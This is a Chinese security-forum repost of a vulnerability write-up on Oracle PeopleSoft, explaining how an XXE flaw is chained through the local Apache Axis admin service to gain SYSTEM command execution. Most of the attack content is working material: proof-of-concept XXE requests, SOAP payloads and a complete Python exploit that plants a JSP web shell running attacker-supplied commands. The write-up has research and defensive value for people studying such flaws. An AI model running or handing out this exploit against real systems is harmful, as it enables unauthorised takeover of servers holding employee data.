设为首页收藏本站 开启辅助访问
搜索
    查看: 1028|回复: 0

    [安全新闻] Oracle人力资源管理系统PeopleSoft未授权远程代码执行漏洞解析

    [复制链接]
    发表于 2017-5-31 15:45:41 | 显示全部楼层 |阅读模式


    几个月前,我有幸参与几个Oracle PeopleSoft建设项目的安全审计,审计对象主要为PeopleSoft系列的人力资源管理系统(HRMS)和开发工具包(PeopleTool)。纵观网上关于PeopleSoft的安全资料,除了几个无法证实的CVE漏洞参考之外,就只有ERPScan在两年前HITB会议的一个信息量极大的演讲。根据ERPScan的演讲PDF我发现,尽管网上鲜有PeopleSoft的安全信息,但它其实漏洞重重。

    仅从我随手的安全测试来看,PeopleSoft应用程序包含很多不经验证授权的服务端点,可能出于高交互性,这些服务端中大部分都使用了默认密码。这种脆弱的安全环境明摆着给攻击者敞开了门窗。在这篇文章中,我将展示如何利用一个XXE漏洞提权以执行系统命令,该问题可能影响当前所有PeopleSoft版本软件。

    XXE漏洞:获取本地网络访问权限

    PeopleSoft存在多个XXE漏洞,如早几年的CVE-2013-3800CVE-2013-3821,最新的为ERPScan发现的CVE-2017-3548。通常来说,可以利用这些漏洞获得PeopleSoft和WebLogic控制端的密码信息,但在该测试环境中这种方法的成功实现需要一定难度。另外,由于CVE-2017-3548为Bind-XXE漏洞,而且我认为目标网络系统可能部署有防火墙,所以,利用XXE漏洞窃取系统信息并不像想像中的那么简单。在这里,我们一起来看看CVE-2013-3821和CVE-2017-3548的PoC利用代码:

    CVE-2013-3821:集成网关HttpListeningConnector XXE
    1. POST /PSIGW/HttpListeningConnector HTTP/1.1
    2. Host: website.com
    3. Content-Type: application/xml
    4. ...

    5. <?xml version="1.0"?>
    6. <!DOCTYPE IBRequest [
    7. <!ENTITY x SYSTEM "http://localhost:51420">
    8. ]>
    9. <IBRequest>
    10.    <ExternalOperationName>&x;</ExternalOperationName>
    11.    <OperationType/>
    12.    <From><RequestingNode/>
    13.       <Password/>
    14.       <OrigUser/>
    15.       <OrigNode/>
    16.       <OrigProcess/>
    17.       <OrigTimeStamp/>
    18.    </From>
    19.    <To>
    20.       <FinalDestination/>
    21.       <DestinationNode/>
    22.       <SubChannel/>
    23.    </To>
    24.    <ContentSections>
    25.       <ContentSection>
    26.          <NonRepudiation/>
    27.          <MessageVersion/>
    28.          <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
    29.          </Data>
    30.       </ContentSection>
    31.    </ContentSections>
    32. </IBRequest>
    复制代码
    CVE-2017-3548:集成网关PeopleSoftServiceListeningConnector XXE
    1. POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
    2. Host: website.com
    3. Content-Type: application/xml
    4. ...

    5. <!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">
    复制代码
    换个思路考虑一下,我觉得可以利用XXE漏洞来访问本地服务器localhost的各种服务,或许这还能绕过防火墙规则或身份验证检查。因此,在这里只需要知道PeopleSoft的服务端口即可。最终,我通过获取其访问主页服务的cookie识别了端口信息:
    1. Set-Cookie: SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;
    复制代码

    可以看出,当前PeopleSoft的服务端口为5100,可以通过http://localhost:51500/方式访问到相应的应用程序。

    Apache Axis服务的利用

    在PeopleSoft服务架构中,其中一个未经验证授权的服务为通过http://website.com/pspc/services方式访问的Apache Axis 1.4。该Apache Axis服务允许我们从Java类中构建SOAP终端,然后利用生成的Web服务描述语言(WSDL)配合辅助代码实现与这些终端进行交互。我们可以通过http://website.com/pspc/services/AdminService对Apache Axis服务进行管理:


    以下为Apache Axis管理员基于java.util.Random类创建SOAP服务端的POST代码,从该代码中,我们可以看到一些具体的服务创建方式:
    1. POST /pspc/services/AdminService
    2. Host: website.com
    3. SOAPAction: something
    4. Content-Type: application/xml
    5. ...

    6. <?xml version="1.0" encoding="utf-8"?>
    7. <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    8.         xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    9.         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    10.         xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    11.     <soapenv:Body>
    12.         <ns1:deployment
    13.             xmlns="http://xml.apache.org/axis/wsdd/"
    14.             xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
    15.             xmlns:ns1="http://xml.apache.org/axis/wsdd/">
    16.             <ns1:service name="RandomService" provider="java:RPC">
    17.                 <ns1:parameter name="className" value="java.util.Random"/>
    18.                 <ns1:parameter name="allowedMethods" value="*"/>
    19.             </ns1:service>
    20.         </ns1:deployment>
    21.     </soapenv:Body>
    22. </soapenv:Envelope>
    复制代码
    由于java.util.Random类中的每一个公用方法都可以作为一个服务来使用,因此,我们可以通过SOAP来调用Random.nextInt()方法,其请求的POST代码如下:
    1. POST /pspc/services/RandomService
    2. Host: website.com
    3. SOAPAction: something
    4. Content-Type: application/xml
    5. ...

    6. <?xml version="1.0" encoding="utf-8"?>
    7. <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    8.         xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    9.         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    10.         xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    11.     <soapenv:Body>
    12.         <api:nextInt />
    13.     </soapenv:Body>
    14. </soapenv:Envelope>
    复制代码
    之后,会产生以下响应信息,这些信息对应了XML方式的一些设置:
    1. HTTP/1.1 200 OK
    2. ...

    3. <?xml version="1.0" encoding="UTF-8"?>
    4. <soapenv:Envelope
    5.     xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    6.     xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    7.     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    8.     <soapenv:Body>
    9.         <ns1:nextIntResponse
    10.             soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
    11.             xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API">
    12.             <nextIntReturn href="#id0"/>
    13.         </ns1:nextIntResponse>
    14.         <multiRef id="id0" soapenc:root="0"
    15.             soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
    16.             xsi:type="xsd:int"
    17.             xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
    18.             1244788438 <!-- Here's our random integer -->
    19.         </multiRef>
    20.     </soapenv:Body>
    21. </soapenv:Envelope>
    复制代码

    虽然该管理终端对外部IP地址进行了屏蔽,但通过localhost本地访问时却不需要输入任何验证密码。因此,这理所当然地成为了我们的一个渗透突破口。但是,由于我们将要利用的是XXE漏洞,需要通过构造GET方式获取相关信息,因此可以参考以上创建服务和调用方法的POST请求,在后续与服务器的交互过程中,将我们特定的SOAP Payload攻击载荷转换为GET请求发送给主机服务器,最终尝试获得一些有用信息。

    Axis: 参考POST请求构造GET形式的SOAP Payload

    Axis API允许发送GET请求,它首先会接收给定的URL参数,然后再将这些参数转换为一个SOAP Payload。通过分析发现,在Axis源代码中,有一段方法代码可以把GET参数转换为有效的XML  Payload,该方法代码如下:

    1. public class AxisServer extends AxisEngine {
    2.     [...]
    3.     {
    4.         String method = null;
    5.         String args = "";
    6.         Enumeration e = request.getParameterNames();

    7.         while (e.hasMoreElements()) {
    8.             String param = (String) e.nextElement();
    9.             if (param.equalsIgnoreCase ("method")) {
    10.                 method = request.getParameter (param);
    11.             }

    12.             else {
    13.                 args += "<" + param + ">" + request.getParameter (param) +
    14.                         "</" + param + ">";
    15.             }
    16.         }

    17.         String body = "<" + method + ">" + args + "</" + method + ">";
    18.         String msgtxt = "<SOAP-ENV:Envelope" +
    19.                 " xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">" +
    20.                 "<SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" +
    21.                 "</SOAP-ENV:Envelope>";
    22.     }
    23. }
    复制代码

    为了更好地理解它的转换机制 ,我们来看这个示例:

    1. GET /pspc/services/SomeService
    2.      ?method=myMethod
    3.      ¶meter1=test1
    4.      ¶meter2=test2
    复制代码
    1. 以上GET请求等同于XML形式的设置如下:
    复制代码
    1. <?xml version="1.0" encoding="utf-8"?>
    2. <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    3.         xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    4.         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    5.         xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    6.     <soapenv:Body>
    7.         <myMethod>
    8.             <parameter1>test1</parameter1>
    9.             <parameter2>test2</parameter2>
    10.         </myMethod>
    11.     </soapenv:Body>
    12. </soapenv:Envelope>
    复制代码

    然而,当我们尝试使用这种方法来创建一个新的服务端时却出现了一个问题:在代码层面,我们定义的XML标签必须要设置属性。因此,当我们像如下方式在GET请求中添加了XML标签属性之后:

    1. GET /pspc/services/SomeService
    2.      ?method=myMethod+attr0="x"
    3.      ¶meter1+attr1="y"=test1
    4.      ¶meter2=test2
    复制代码

    得到的相应XML设置信息如下:

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    3.         xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    4.         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    5.         xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    6.     <soapenv:Body>
    7.         <myMethod attr0="x">
    8.             <parameter1 attr1="y">test1</parameter1 attr1="y">
    9.             <parameter2>test2</parameter2>
    10.         </myMethod attr0="x">
    11.     </soapenv:Body>
    12. </soapenv:Envelope>
    复制代码

    很显然,注意查看红框标记,该文件是个无效的XML文件,其直观在在浏览器中的运行结果是这样的:

    当然,其对服务器的请求最终也是无效的。但如果我们像下面这样把整个Payload放到方法参数中:

    1. GET /pspc/services/SomeService
    2.      ?method=myMethod+attr="x"><test>y</test></myMethod
    复制代码

    将会得到如下的XML设置信息:

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    3.         xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    4.         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    5.         xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    6.     <soapenv:Body>
    7.         <myMethod attr="x"><test>y</test></myMethod>
    8.         </myMethod attr="x"><test>y</test></myMethod>
    9.     </soapenv:Body>
    10. </soapenv:Envelope>
    复制代码

    请注意观察,我们的Payload信息会被两次进行解析设置,第一次解析的前缀为“<”,第二次为“</”。为了实现一次解析,我们可以使用以下XML注释方法来解决:

    1. GET /pspc/services/SomeService
    2.      ?method=!--><myMethod+attr="x"><test>y</test></myMethod
    复制代码

    之后,可以得到正常有效的如下XML设置信息:

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    3.         xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    4.         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    5.         xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    6.     <soapenv:Body>
    7.         <!--><myMethod attr="x"><test>y</test></myMethod>
    8.         </!--><myMethod attr="x"><test>y</test></myMethod>
    9.     </soapenv:Body>
    10. </soapenv:Envelope>
    复制代码

    在<soapenv:Body>当中,由于我们之前在GET信息中添加了“!–>”前缀,所以首个Payload以XML注释的起始标记“<!–”开头,第二个Payload却是以XML注释结束标记</!–>开始的,这也意味着在<!–>和</!–>之间的Payload将会被注释掉,我们预计要执行的在</!–>之后的Payload将会成功一次解析执行。

    由此,我们就可以将任意的SOAP请求从原先的POST方式转化为XXE漏洞可以利用的GET方式了,同时也就意味着,我们可以利用XXE漏洞绕过IP检查机制,将任意类上传部署为Axis  Service使用。

    Axis: 源码分析后的缺陷方法利用

    在服务部署时,Apache Axis不允许我们上传自己设置的Javz类,只能使用系统提供的服务类。在对PeopleSoft中包含Axis实例的pspc.war包文件进行分析之后,我发现org.apache.pluto.portalImpl包中的部署类包含了一些很有意思且可以利用的方法。比如,addToEntityReg(String[]args)方法允许在XML文件结尾添加任意数据,另外,copy(file1, file2)方法还允许我们进行任意复制拷贝。这两个方法缺陷足以让我们向服务器中部署包含JSP Payload的XML文件,并把其拷贝到webroot目录下,从而获取到系统的控制shell。

    正如预想的那样,利用这种方法,配合XXE漏洞,我们最终从PeopleSoft中获得了SYSTEM系统权限,实现任意命令执行目的。对PeopleSoft来说,这是一个严重的未授权验证远程系统命令执行漏洞。

    EXPLOIT

    目前,据我的分析和测试来看,该漏洞可能影响当前所有版本的PeopleSoft。经对以上方法思路的整理,最终总结出了以下可以进行安全测试的EXPLOIT。(代码具有危险性,请勿用于非法目的):

    1. #!/usr/bin/python3
    2. # Oracle PeopleSoft SYSTEM RCE
    3. # https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
    4. # cf
    5. # 2017-05-17

    6. import requests
    7. import urllib.parse
    8. import re
    9. import string
    10. import random
    11. import sys


    12. from requests.packages.urllib3.exceptions import InsecureRequestWarning
    13. requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


    14. try:
    15.     import colorama
    16. except ImportError:
    17.     colorama = None
    18. else:
    19.     colorama.init()

    20.     COLORS = {
    21.         '+': colorama.Fore.GREEN,
    22.         '-': colorama.Fore.RED,
    23.         ':': colorama.Fore.BLUE,
    24.         '!': colorama.Fore.YELLOW
    25.     }


    26. URL = sys.argv[1].rstrip('/')
    27. CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
    28. PROXY = 'localhost:8080'

    29. # shell.jsp?c=whoami
    30. PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'


    31. class Browser:
    32.     """Wrapper around requests.
    33.     """

    34.     def __init__(self, url):
    35.         self.url = url
    36.         self.init()

    37.     def init(self):
    38.         self.session = requests.Session()
    39.         self.session.proxies = {
    40.             'http': PROXY,
    41.             'https': PROXY
    42.         }
    43.         self.session.verify = False

    44.     def get(self, url ,*args, **kwargs):
    45.         return self.session.get(url=self.url + url, *args, **kwargs)

    46.     def post(self, url, *args, **kwargs):
    47.         return self.session.post(url=self.url + url, *args, **kwargs)

    48.     def matches(self, r, regex):
    49.         return re.findall(regex, r.text)


    50. class Recon(Browser):
    51.     """Grabs different informations about the target.
    52.     """

    53.     def check_all(self):
    54.         self.site_id = None
    55.         self.local_port = None
    56.         self.check_version()
    57.         self.check_site_id()
    58.         self.check_local_infos()

    59.     def check_version(self):
    60.         """Grabs PeopleTools' version.
    61.         """
    62.         self.version = None
    63.         r = self.get('/PSEMHUB/hub')
    64.         m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')

    65.         if m:
    66.             self.version = m[0]
    67.             o(':', 'PTools version: %s' % self.version)
    68.         else:
    69.             o('-', 'Unable to find version')

    70.     def check_site_id(self):
    71.         """Grabs the site ID and the local port.
    72.         """
    73.         if self.site_id:
    74.             return

    75.         r = self.get('/')
    76.         m = self.matches(r, '/([^/]+)/signon.html')

    77.         if not m:
    78.             raise RuntimeError('Unable to find site ID')

    79.         self.site_id = m[0]
    80.         o('+', 'Site ID: ' + self.site_id)

    81.     def check_local_infos(self):
    82.         """Uses cookies to leak hostname and local port.
    83.         """
    84.         if self.local_port:
    85.             return

    86.         r = self.get('/psp/%s/signon.html' % self.site_id)

    87.         for c, v in self.session.cookies.items():
    88.             if c.endswith('-PORTAL-PSJSESSIONID'):
    89.                 self.local_host, self.local_port, *_ = c.split('-')
    90.                 o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
    91.                 return

    92.         raise RuntimeError('Unable to get local hostname / port')


    93. class AxisDeploy(Recon):
    94.     """Uses the XXE to install Deploy, and uses its two useful methods to get
    95.     a shell.
    96.     """

    97.     def init(self):
    98.         super().init()
    99.         self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)

    100.     def random_string(self, size):
    101.         return ''.join(random.choice(string.ascii_letters) for _ in range(size))

    102.     def url_service(self, payload):
    103.         return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
    104.             self.local_port,
    105.             urllib.parse.quote_plus(self.psoap(payload))
    106.         )

    107.     def war_path(self, name):
    108.         # This is just a guess from the few PeopleSoft instances we audited.
    109.         # It might be wrong.
    110.         suffix = '.war' if self.version and self.version >= '8.50' else ''
    111.         return './applications/peoplesoft/%s%s' % (name, suffix)

    112.     def pxml(self, payload):
    113.         """Converts an XML payload into a one-liner.
    114.         """
    115.         payload = payload.strip().replace('\n', ' ')
    116.         payload = re.sub('\s+<', '<', payload, flags=re.S)
    117.         payload = re.sub('\s+', ' ', payload, flags=re.S)
    118.         return payload

    119.     def psoap(self, payload):
    120.         """Converts a SOAP payload into a one-liner, including the comment trick
    121.         to allow attributes.
    122.         """
    123.         payload = self.pxml(payload)
    124.         payload = '!-->%s' % payload[:-1]
    125.         return payload

    126.     def soap_service_deploy(self):
    127.         """SOAP payload to deploy the service.
    128.         """
    129.         return """
    130.         <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
    131.         xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
    132.         xmlns:ns1="http://xml.apache.org/axis/wsdd/">
    133.             <ns1:service name="%s" provider="java:RPC">
    134.                 <ns1:parameter name="className" value="%s"/>
    135.                 <ns1:parameter name="allowedMethods" value="*"/>
    136.             </ns1:service>
    137.         </ns1:deployment>
    138.         """ % (self.service_name, CLASS_NAME)

    139.     def soap_service_undeploy(self):
    140.         """SOAP payload to undeploy the service.
    141.         """
    142.         return """
    143.         <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
    144.         xmlns:ns1="http://xml.apache.org/axis/wsdd/">
    145.         <ns1:service name="%s"/>
    146.         </ns1:undeployment>
    147.         """ % (self.service_name, )

    148.     def xxe_ssrf(self, payload):
    149.         """Runs the given AXIS deploy/undeploy payload through the XXE.
    150.         """
    151.         data = """
    152.         <?xml version="1.0"?>
    153.         <!DOCTYPE IBRequest [
    154.         <!ENTITY x SYSTEM "%s">
    155.         ]>
    156.         <IBRequest>
    157.            <ExternalOperationName>&x;</ExternalOperationName>
    158.            <OperationType/>
    159.            <From><RequestingNode/>
    160.               <Password/>
    161.               <OrigUser/>
    162.               <OrigNode/>
    163.               <OrigProcess/>
    164.               <OrigTimeStamp/>
    165.            </From>
    166.            <To>
    167.               <FinalDestination/>
    168.               <DestinationNode/>
    169.               <SubChannel/>
    170.            </To>
    171.            <ContentSections>
    172.               <ContentSection>
    173.                  <NonRepudiation/>
    174.                  <MessageVersion/>
    175.                  <Data>
    176.                  </Data>
    177.               </ContentSection>
    178.            </ContentSections>
    179.         </IBRequest>
    180.         """ % self.url_service(payload)
    181.         r = self.post(
    182.             '/PSIGW/HttpListeningConnector',
    183.             data=self.pxml(data),
    184.             headers={
    185.                 'Content-Type': 'application/xml'
    186.             }
    187.         )

    188.     def service_check(self):
    189.         """Verifies that the service is correctly installed.
    190.         """
    191.         r = self.get('/pspc/services')
    192.         return self.service_name in r.text

    193.     def service_deploy(self):
    194.         self.xxe_ssrf(self.soap_service_deploy())

    195.         if not self.service_check():
    196.             raise RuntimeError('Unable to deploy service')

    197.         o('+', 'Service deployed')

    198.     def service_undeploy(self):
    199.         if not self.local_port:
    200.             return

    201.         self.xxe_ssrf(self.soap_service_undeploy())

    202.         if self.service_check():
    203.             o('-', 'Unable to undeploy service')
    204.             return

    205.         o('+', 'Service undeployed')

    206.     def service_send(self, data):
    207.         """Send data to the Axis endpoint.
    208.         """
    209.         return self.post(
    210.             '/pspc/services/%s' % self.service_name,
    211.             data=data,
    212.             headers={
    213.                 'SOAPAction': 'useless',
    214.                 'Content-Type': 'application/xml'
    215.             }
    216.         )

    217.     def service_copy(self, path0, path1):
    218.         """Copies one file to another.
    219.         """
    220.         data = """
    221.         <?xml version="1.0" encoding="utf-8"?>
    222.         <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    223.         xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    224.         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    225.         xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    226.         <soapenv:Body>
    227.         <api:copy
    228.         soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    229.             <in0 xsi:type="xsd:string">%s</in0>
    230.             <in1 xsi:type="xsd:string">%s</in1>
    231.         </api:copy>
    232.         </soapenv:Body>
    233.         </soapenv:Envelope>
    234.         """.strip() % (path0, path1)
    235.         response = self.service_send(data)
    236.         return '<ns1:copyResponse' in response.text

    237.     def service_main(self, tmp_path, tmp_dir):
    238.         """Writes the payload at the end of the .xml file.
    239.         """
    240.         data = """
    241.         <?xml version="1.0" encoding="utf-8"?>
    242.         <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    243.         xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
    244.         xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    245.         xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    246.         <soapenv:Body>
    247.         <api:main
    248.         soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
    249.             <api:in0>
    250.                 <item xsi:type="xsd:string">%s</item>
    251.                 <item xsi:type="xsd:string">%s</item>
    252.                 <item xsi:type="xsd:string">%s.war</item>
    253.                 <item xsi:type="xsd:string">something</item>
    254.                 <item xsi:type="xsd:string">-addToEntityReg</item>
    255.                 <item xsi:type="xsd:string"><![CDATA[%s]]></item>
    256.             </api:in0>
    257.         </api:main>
    258.         </soapenv:Body>
    259.         </soapenv:Envelope>
    260.         """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
    261.         response = self.service_send(data)

    262.     def build_shell(self):
    263.         """Builds a SYSTEM shell.
    264.         """
    265.         # On versions >= 8.50, using another extension than JSP got 70 bytes
    266.         # in return every time, for some reason.
    267.         # Using .jsp seems to trigger caching, thus the same pivot cannot be
    268.         # used to extract several files.
    269.         # Again, this is just from experience, nothing confirmed
    270.         pivot = '/%s.jsp' % self.random_string(20)
    271.         pivot_path = self.war_path('PSOL') + pivot
    272.         pivot_url = '/PSOL' + pivot

    273.         # 1: Copy portletentityregistry.xml to TMP

    274.         per = '/WEB-INF/data/portletentityregistry.xml'
    275.         per_path = self.war_path('pspc')
    276.         tmp_path = '../' * 20 + 'TEMP'
    277.         tmp_dir = self.random_string(20)
    278.         tmp_per = tmp_path + '/' + tmp_dir + per

    279.         if not self.service_copy(per_path + per, tmp_per):
    280.             raise RuntimeError('Unable to copy original XML file')

    281.         # 2: Add JSP payload
    282.         self.service_main(tmp_path, tmp_dir)

    283.         # 3: Copy XML to JSP in webroot
    284.         if not self.service_copy(tmp_per, pivot_path):
    285.             raise RuntimeError('Unable to copy modified XML file')

    286.         response = self.get(pivot_url)

    287.         if response.status_code != 200:
    288.             raise RuntimeError('Unable to access JSP shell')

    289.         o('+', 'Shell URL: ' + self.url + pivot_url)


    290. class PeopleSoftRCE(AxisDeploy):
    291.     def __init__(self, url):
    292.         super().__init__(url)


    293. def o(s, message):
    294.     if colorama:
    295.         c = COLORS[s]
    296.         s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
    297.     print('%s %s' % (s, message))


    298. x = PeopleSoftRCE(URL)

    299. try:
    300.     x.check_all()
    301.     x.service_deploy()
    302.     x.build_shell()
    303. except RuntimeError as e:
    304.     o('-', e)
    305. finally:
    306.     x.service_undeploy()
    复制代码

    更多信息,请参考ERPScan《Oracle PeopleSoft applications are under attacks!》

    *参考来源:ambionics,转载自FreeBuf


    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    QQ|小黑屋|Archiver|手机版|安全狗论坛-汇聚安全的力量 ( 闽ICP备14014139号-1  

    GMT+8, 2019-11-20 07:52 , Processed in 0.093273 second(s), 21 queries .

    Powered by Discuz! X3.2

    © 2001-2013 Comsenz Inc.

    快速回复 返回顶部 返回列表